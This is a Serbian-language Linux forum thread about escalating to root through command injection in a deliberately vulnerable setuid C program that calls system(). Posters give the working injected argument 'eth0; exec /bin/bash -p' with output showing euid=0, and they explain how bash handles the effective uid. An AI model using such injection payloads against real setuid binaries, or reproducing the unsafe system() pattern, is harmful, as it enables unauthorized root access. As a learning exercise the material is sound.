Почетак › Форуми › Линукс › Опште Линукс дискусије › Suid bit i tekstualne datoteke
- This topic has 51 одговор, 9 гласова, and was last updated 20 years, 7 months раније by
maddox.
-
АуторЧланци
-
1. децембар 2005. у 5:38 pm #37902
japan
Учесник[code]./a.out $(echo ” eth0″ && /bin/bash)[/code]
ali mi tu nešto baš nije kako sam očekivao…
1. децембар 2005. у 5:40 pm #37903popeye
Главни мајсторProbaj:
[code]$ ./a.out “eth0; exec /bin/bash”[/code]
1. децембар 2005. у 5:45 pm #37904japan
Учесникaha, nego kako ja da dobijem id 0?
1. децембар 2005. у 5:50 pm #37905popeye
Главни мајсторHehe, bash zaštita od prenosa euida. 😉
[code]$ ./a.out “eth0; exec /bin/bash -p”
# id
uid=1000(popeye) gid=1000(popeye) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy), 29(audio),30(dip),44(video),46(plugdev),107(lpadmin),108(scanner),109(admin),1000(popeye)[/code]Koji je euid? 😉
1. децембар 2005. у 5:57 pm #37906popeye
Главни мајсторOpet, ponavljam, root privilegije dobijaš samo na Debianu i derivatima, ovo iznad je izlaz sa Ubuntu Breezy distribucije.
1. децембар 2005. у 6:00 pm #37907japan
Учесникda, ovo na slack-u ne radi, ni sa -p…
koliko sam shvatio, system() ne prenosi euid na bash2 samo ako je komanda /bin/bash, ali ja ni jednu komandu ne mogu da uradim kao root. bice da nisam dobro shvatio ovo objasnjenje za system()?sad cu da probam sa exec…
edit: sad sam pazljivije procitao man system 🙂
1. децембар 2005. у 6:03 pm #37908popeye
Главни мајсторAko unesemo proveru unosa, kako bismo onda zaobišli ovakav kod:
[code]#include
#includeint main(int argc, char *argv[]) {
char cmd[50] = “ifconfig “;
char interfejs[] = “eth0”;
if (strcmp(argv[1], interfejs)==0) {
strcat(cmd, argv[1]);
} else {
printf(“Argument “%s” nije mrezni interfejs!n”, argv[1]);
return 0;
}system(cmd);
return 0;}[/code]
Ima li još neko koga ovo interesuje pored japana?
Izmena: Ispravka koda.
1. децембар 2005. у 6:16 pm #37909popeye
Главни мајсторda, ovo na slack-u ne radi, ni sa -p…
koliko sam shvatio, system() ne prenosi euid na bash2 samo ako je komanda /bin/bash, ali ja ni jednu komandu ne mogu da uradim kao root. bice da nisam dobro shvatio ovo objasnjenje za system()?sad cu da probam sa exec…
Bash2 odbacuje euid kada ga koristi system funkcija. Naredba “ifconfig eth0” u system() funkciji poziva ustvari “sh -c ifconfig eth0” i tada dolazi do odbacivanja euid vrednosti.
1. децембар 2005. у 6:26 pm #37910popeye
Главни мајсторAko na sistemu imaš bash1 (starije verzije Slackware distribucije ga sigurno imaju), linkuj /bin/sh na /bin/bash1 i probaj onda, radiće.
Kako bi pokrenuo shell u ispravljenoj verziji koda?
1. децембар 2005. у 8:56 pm #37911japan
Учесникza ovo već nisam siguran, možda neki ” ili tako nešto…
nisam se baš nešto mnogo bavio exploitovanjem…
-
АуторЧланци
Мораш бити пријављен да би поставио коментар у овој теми.